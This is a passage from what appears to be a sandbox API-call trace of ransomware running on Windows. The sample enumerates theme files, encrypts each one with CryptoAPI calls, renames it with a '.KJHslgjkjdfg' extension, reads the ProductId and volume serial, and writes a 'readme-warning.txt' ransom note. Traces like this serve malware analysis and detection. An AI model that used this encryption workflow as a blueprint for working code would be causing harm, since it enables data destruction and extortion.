hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.469] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.469] GetProcessHeap () returned 0x2ef0000 [0171.469] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.469] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0171.469] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.469] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0171.470] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.470] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.470] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.470] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.470] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.470] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.470] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x211, lpOverlapped=0x0) returned 1 [0171.471] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x220, dwBufLen=0x220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x220) returned 1 [0171.471] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.471] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x220, lpOverlapped=0x0) returned 1 [0171.471] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.471] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.471] SetEndOfFile (hFile=0x114) returned 1 [0171.473] GetProcessHeap () returned 0x2ef0000 [0171.474] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.474] GetProcessHeap () returned 0x2ef0000 [0171.474] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.kjhslgjkjdfg")) returned 1 [0171.484] CloseHandle (hObject=0x114) returned 1 [0171.485] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.485] GetProcessHeap () returned 0x2ef0000 [0171.485] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.485] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.485] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.486] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.486] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.486] GetProcessHeap () returned 0x2ef0000 [0171.486] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.486] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.486] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.486] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.489] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.489] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.489] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.489] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.489] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.489] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.489] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.489] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.489] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xb20, lpOverlapped=0x0) returned 1 [0171.489] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb20, dwBufLen=0xb20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb20) returned 1 [0171.489] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.490] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xb20, lpOverlapped=0x0) returned 1 [0171.490] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.490] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.490] SetEndOfFile (hFile=0x114) returned 1 [0171.492] GetProcessHeap () returned 0x2ef0000 [0171.492] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.492] GetProcessHeap () returned 0x2ef0000 [0171.492] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.493] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.511] CloseHandle (hObject=0x114) returned 1 [0171.511] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.512] GetProcessHeap () returned 0x2ef0000 [0171.512] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.512] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.512] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0171.516] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.516] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.516] GetProcessHeap () returned 0x2ef0000 [0171.516] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.516] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.516] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.516] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.516] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.516] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.516] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.517] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.517] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.517] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.517] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.517] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.517] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8864, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x8864, lpOverlapped=0x0) returned 1 [0171.518] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8870, dwBufLen=0x8870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x8870) returned 1 [0171.519] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.519] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x8870, lpOverlapped=0x0) returned 1 [0171.519] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.519] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.519] SetEndOfFile (hFile=0x114) returned 1 [0171.523] GetProcessHeap () returned 0x2ef0000 [0171.523] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.523] GetProcessHeap () returned 0x2ef0000 [0171.523] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.527] CloseHandle (hObject=0x114) returned 1 [0171.527] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.527] GetProcessHeap () returned 0x2ef0000 [0171.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.527] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.527] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0171.527] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.527] GetProcessHeap () returned 0x2ef0000 [0171.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0171.527] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.527] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0171.527] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.527] GetProcessHeap () returned 0x2ef0000 [0171.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0171.528] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.528] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0171.528] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.528] GetProcessHeap () returned 0x2ef0000 [0171.528] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0171.528] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.528] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0171.528] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.528] GetProcessHeap () returned 0x2ef0000 [0171.528] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.528] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.528] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0171.528] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.528] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0171.528] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0171.528] RegCloseKey (hKey=0x114) returned 0x0 [0171.528] GetProcessHeap () returned 0x2ef0000 [0171.528] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0171.529] GetProcessHeap () returned 0x2ef0000 [0171.529] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.529] GetProcessHeap () returned 0x2ef0000 [0171.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.529] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.529] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0171.529] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.529] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.529] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.529] GetProcessHeap () returned 0x2ef0000 [0171.529] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.529] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.529] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.529] GetProcessHeap () returned 0x2ef0000 [0171.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0171.529] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\readme-warning.txt") returned 79 [0171.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.530] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.532] CloseHandle (hObject=0x114) returned 1 [0171.533] GetProcessHeap () returned 0x2ef0000 [0171.533] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0171.533] GetProcessHeap () returned 0x2ef0000 [0171.533] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0171.533] GetProcessHeap () returned 0x2ef0000 [0171.533] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0171.533] GetProcessHeap () returned 0x2ef0000 [0171.533] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.533] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0171.533] GetProcessHeap () returned 0x2ef0000 [0171.533] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0171.533] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0171.533] GetProcessHeap () returned 0x2ef0000 [0171.533] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0171.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, 